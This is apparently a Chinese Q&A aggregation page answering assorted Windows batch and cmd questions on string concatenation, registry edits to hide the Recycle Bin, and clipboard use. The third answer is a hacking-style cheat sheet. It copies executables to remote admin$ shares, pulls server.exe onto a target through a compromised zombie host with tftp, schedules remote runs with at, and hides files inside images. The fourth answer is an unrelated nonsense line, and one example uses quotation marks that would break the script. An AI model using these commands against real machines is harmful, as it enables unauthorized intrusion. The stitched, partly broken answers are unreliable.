『壹』 批處理for循環中字元串拼接問題
for循環中,/f參數時,可以使用skip、tokens、delims、三個條件,skip是跳行,tokens是提取參數個數,delims是匹配分割符號。當delims和tokens放在一起時候,以你這個為例子:
for /f "tokens=1 delims= " %%i in (' *** ') do (//你這里以空格為間隔符,提取第一個作為%%i
set name=%%i //然後字元串賦值
set j=!name:~0,2! //擴展賦值,如果用到延遲變數,怎麼開頭沒開啟延遲變數?
if !j!==CN echo AAA/!name!/BBB/CCC //如果j字元換等於CN,顯示AAA/!name!/BBB/CCC
)
從你這個問題推斷,你的文件中字元串的格式不對。應該是有很多換行,或者擴展賦值那錯了,你把題目寫得太模糊,最好把原題放出來。
『貳』 bat 如何將兩個字元串變數聯合在一起
可以寫成set val = %VarA%%VarB%,但是由於賦值問題,建議前後加上引號。
例如:
@echo off
rem 兩個變數拼接,等號前後一定不要有空格
set str1=Hello
set str2=world
set result=「%str1%, %str2%」
echo %result%
(2)cmd腳本字元串拼接擴展閱讀
批處理文件,在DOS和Windows(任意)系統中,.bat文件是可執行文件,由一系列命令構成,其中可以包含對其他程序的調用。
這個文件的每一行都是一條DOS命令(大部分時候就好像我們在DOS提示符下執行的命令行一樣),你可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本文件編輯工具創建和修改批處理文件。
批處理中的變數基本上是萬能的,可以儲存各種各樣的數據,不過用來計算時你會發現變數類型轉為了int,數值的極端范圍為[-2147483648,2147483647],如果不拿來計算的話,似乎數萬位也是可以的。
『叄』 跪求CMD命令並聯命令要求上下銜接,帶實例可追加分數。
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同) move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋 fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令 at id號 開啟已注冊的某個計劃任務 at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止 at id號 /delete 停止某個已注冊的計劃任務 at 查看所有的計劃任務 at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機 finger username @host 查看最近有哪些用戶登陸 telnet ip 埠 遠和登陸伺服器,默認埠為23 open ip 連接到IP(屬telnet登陸後的命令) telnet 在本機上直接鍵入telnet 將進入本機的telnet 路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件 c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下 cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件 \\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C: x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件 tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將"IP"的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送 tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機 ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時) route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息 start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令 mem 查看cpu使用情況 attrib 文件名(目錄名) 查看某文件(目錄)的屬性 attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性 dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間 date /t 、 time /t 使用此參數即"DATE/T"、"TIME/T"將只顯示當前日期和時間,而不必輸入新日期和時間 set 指定環境變數名稱=要指派給變數的字元 設置環境變數 set 顯示當前所有的環境變數 set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數 pause 暫停批處理程序,並顯示出:請按任意鍵繼續.... if 在批處理程序中執行條件處理(更多說明見if命令及變數) goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:":start"標簽) call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?) for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數) echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置 echo 信息 在屏幕上顯示出信息 echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中 findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello find 文件名 查找某文件 title 標題名字 更改CMD窗口標題名字 color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白 prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
『肆』 cmd 連接字元串的命令怎麼寫 寫了個創建以當前日期和事件命名的文件夾 批處理
答案:24. 貧僧是自東土大唐而來,專程去往西天拜佛求親的。
『伍』 CMD腳本文件
新建文本文檔一個,在裡面寫上如下代碼:
@echo off
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} /f
然後另存為 隱藏回收站.cmd
想要隱藏回收站時雙擊它即可,如果想顯示回收站,同理製作 顯示回收站.cmd ,代碼為:
@echo off
reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} /ve /d "Recycle Bin" /f
---------------解釋(此行及以下部分不包括在CMD腳本文件中)-----------
:::::::::reg delete:
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
ValueName 所選項下的要刪除的值的名稱
省略時,該項下的所有子項和值都會被刪除
/ve 刪除空白值名稱<no name>的值
/va 刪除該項下的所有值
/f 不用提示就強行刪除
例如:
REG DELETE HKLM\Software\MyCo\MyApp\Timeout
刪除注冊表項 Timeout 及其所有子項和值
REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU
刪除 ZODIAC 上 MyCo 下的注冊表項 MTU
::::::::::::::::::::reg add:
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
遠程機器的機器名 - 忽略默認到當前機器。
遠程機器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下注冊表項的完整名
/v 所選項之下要添加的值名
/ve 為注冊表項添加空白值名<無名稱>
/t RegKey 數據類型
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
如果忽略,則採用 REG_SZ
/s 指定一個在 REG_MULTI_SZ 數據字元串中
用作分隔符的字元
如果忽略,則將 "\0" 用作分隔符
/d 要分配給添加的注冊表 ValueName 的數據
/f 不用提示就強行改寫現有注冊表項
例如:
REG ADD \\ABC\HKLM\Software\MyCo
添加遠程機器 ABC 上的一個注冊表項 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一個值(名稱: Data,類型: REG_BINARY,數據: fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,數據: fax\0mail\0\0)
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
添加一個值(名稱: Path,類型: REG_EXPAND_SZ,數據: %systemroot%)
注意: 在擴充字元串中使用雙百分比符號( %% )
『陸』 如何通過cmd腳本復制文字到系統粘貼板
右鍵命令提示符窗口的標題欄,選擇屬性。
2
選擇「編輯選項」里的「快速編輯模式」,並確定之;
3
在彈出的應用選擇提示框上選擇「保存屬性,供以後具有相同標題的窗口使用」;
4
如此你就可以便捷的在命令提示符窗口裡進行復雜粘貼操作了。
復制:進行如上設置後,滑鼠左鍵按下選定一個區域,再右鍵在窗口內單擊(或者按一下回車鍵),就將選定區文字復制下了。
粘貼:在未選定文字的狀態下,窗口內單擊右鍵,就將剪貼板的文字內容粘貼到窗口游標處了。
END
注意事項
在標記狀態下,運行中的批處理會暫停。例如一些伺服器是通過命令行啟動,當你在命令行界面左鍵選定了一個區域(右鍵做了「標記」),命令行會暫停運行。
我這種人是雙手極其不願離開鍵盤的人,所以,我一般都是用 Alt + Space + E + P 這個一連串的按鍵來粘貼。
『柒』 python用字元串拼接一條語句,然後怎麼執行
python支持eval函數,可以把一個字元串當作python語句執行,具體你可以看看eval函數的使用方法
『捌』 C++中如何把數字和字元串拼接起來
1、不同版本的C++編譯環境有不同的做法,具體的思路應該是,先將數字轉化為字元串,然後進行字元串的拼接即可。
2、具體到你要問的案例上,在VC或C++Builder環境中代碼如下:
//注意頭文件#include <stdlib.h>
String OutStr = str1 + IntToStr(value1) + str2 + IntToStr(value2);
『玖』 dos批處理命令拼接字元串的問題
@echo off
setlocal enabledelayedexpansion
set aa=
for /f "delims=" %%a in ('dir /b ".\lib\*.jar"') do (
set "aa=!aa!%%a"
)
echo %aa%>a.bat
pause
『拾』 Windows批處理CMD如何截取一個字元串中指定字元後面的字元串
1、首先打開cmd窗口,然後輸入格式:%PATH:str1=str2% 將字元串的變數%PATH%中的str1替換為str2。